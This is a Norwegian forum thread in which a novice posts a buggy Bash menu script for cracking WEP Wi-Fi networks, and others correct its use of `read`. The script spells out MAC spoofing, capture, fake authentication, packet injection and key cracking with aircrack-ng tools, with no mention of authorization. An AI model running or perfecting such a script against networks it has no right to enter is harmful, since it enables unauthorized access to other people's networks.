Du må være registrert og logget inn for å kunne legge ut innlegg på freak.no
X
LOGG INN
... eller du kan registrere deg nå
Dette nettstedet er avhengig av annonseinntekter for å holde driften og videre utvikling igang. Vi liker ikke reklame heller, men alternativene er ikke mange. Vær snill å vurder å slå av annonseblokkering, eller å abonnere på en reklamefri utgave av nettstedet.
  5 535
Vil bare nevne at jeg er ny innenfor Bash skripting, og begynte for ikke så lenge siden.
Men har nå skrevet et skript som kan cracke WEP nettverk etter at du har gitt den noen variabler, men, problemet er at den fanger ikke opp variablene.
Her er koden:

Kode

#!/bin/bash
OPTIONS="List_wireless_interfaces Change_MAC-address WEP-Attack"
select opt in $OPTIONS; do 
if [ "$opt" = "List_wireless_interfaces" ]; then
echo Listing wireless interfaces..
sleep 2
airmon-ng
echo Is you interface wlan0, enter Y or N?
read $Y
airmon-ng start wlan0
elif [ "$opt" = "Change_MAC-address" ]; then
echo Starting MACChanger..
sleep 2
echo Have you put your wireless networkcard in monitor mode? Y or N
read $Y
ifconfig mon0 down 
macchanger -a mon0
sleep 2
ifconfig mon0 up
elif [ "$opt" = "WEP-Attack" ]; then
echo Starting airodump-ng
sleep 2
echo Do you want to use mon0 as interface? Y or N.
read $Y
airodump-ng mon0
echo Hit ctrl + c to stop capturing data!

echo Did you find you network? Y or N.
read $Y
echo Okey, now you have to put in some info on the network, press enter when ready.
read $enter
sleep 1

echo What channel are the network on?
read $chnl

echo What Do you want to name the capture file?
read $name

echo What is the networks BSSID?
read $bssid

echo You submitted info. Is it correct? Y or N.
echo Channel: $chnl
echo Filnavn: $name
echo BSSID: $bssid
read $Y
airodump-ng -c$chnl -w$name --bssid$bssid mon0

echo You need atleast 50.000 packets of data. Do you have that? Y or N.
read $N
echo Then you need to inject some packets, Do you want to Do that? Y or N.
read Y$
echo Okey, need som info then. Press enter when your ready.
read $enter

echo Enter the networks BSSID.
read $bssid

echo First we got to Do a fake authentication
aireplay-ng -1 1 -a $bssid mon0

echo Assosiation successfull? Y or N.
read $Y

echo Injecting packets!
aireplay-ng -3 -b $bssid mon0

clear Look at your airodump windows now, is your data raising?
echo When reaching 50.000 packets you can stop the injection by pressing ctrl + c.

echo Lets crack that key, huh?
sleep 2
echo Enter the name of the file you named earlier.
read $name

echo Ready to crack?
sleep 3
aircrack-ng $name*.cap

echo Its cracking now! It shouldnt take long time!

else 
echo Bad option!
fi 
done
Problemet begynner når når jeg skal spesifisere airodumpen til den valgte kanal, bssid og navn på capture fil.
Jeg kan fint skrive inn variablene, men når den skal sjekke hva du har skrevet, og kjøre airodumpen med variablene, så kommer det bare frem hjelp siden til airodump. Har desverre ikke fått teste ut mer, siden jeg ikke kommer lengre :-P

Takk på forhånd for hjelp :-)
Man skal ikke ha $ fremfor variabelen når man bruker read.
Megahurtz
23732's Avatar
Trådstarter
Siden rediger knappen er vekke, blir det dobbelpost...

Jeg tror jeg har funnet en løsning, kan desverre ikke teste den nå, men skal imorgen.
Istedenfor:

Kode

echo What Do you want to name the capture file?
read $name
Så bruker jeg:

Kode

echo What Do you want to name the capture file?
$name=Variable
Jeg vet ikke om dette kommer til å fungere, men jeg får teste.

EDIT: Altså:

Kode

echo What is the networks $BSSID?
read $bssid
Istedenfor:

Kode

echo What is the networks BSSID?
read $bssid
Sist endret av 23732; 14. juni 2012 kl. 00:13.
Som han skrev i posten før, du skal ikke bruke $ når du kjører read. Dette fungerer ypperlig:

Kode

#/bin/bash
echo What is the networks BSSID?
read bssid
echo You entered: $bssid
Megahurtz
23732's Avatar
Trådstarter
Åja, skrev han ikke? Haha, litt for trøtt for pc akkurat nå :-P

Men når jeg skal bruke variablene i kommandoer, blir det med eller uten $ da?
For eksempel:

Kode

airodump-ng -c $chnl eller airodump-ng -c chnl
EDIT: Når jeg tenker over det, så skal det være med $ :-P
Sist endret av 23732; 14. juni 2012 kl. 00:38.
Trigonoceps occipita
vidarlo's Avatar
Donor
Les innlegget du svarte på ein gong til og bruk tredve sekunder på å prøve.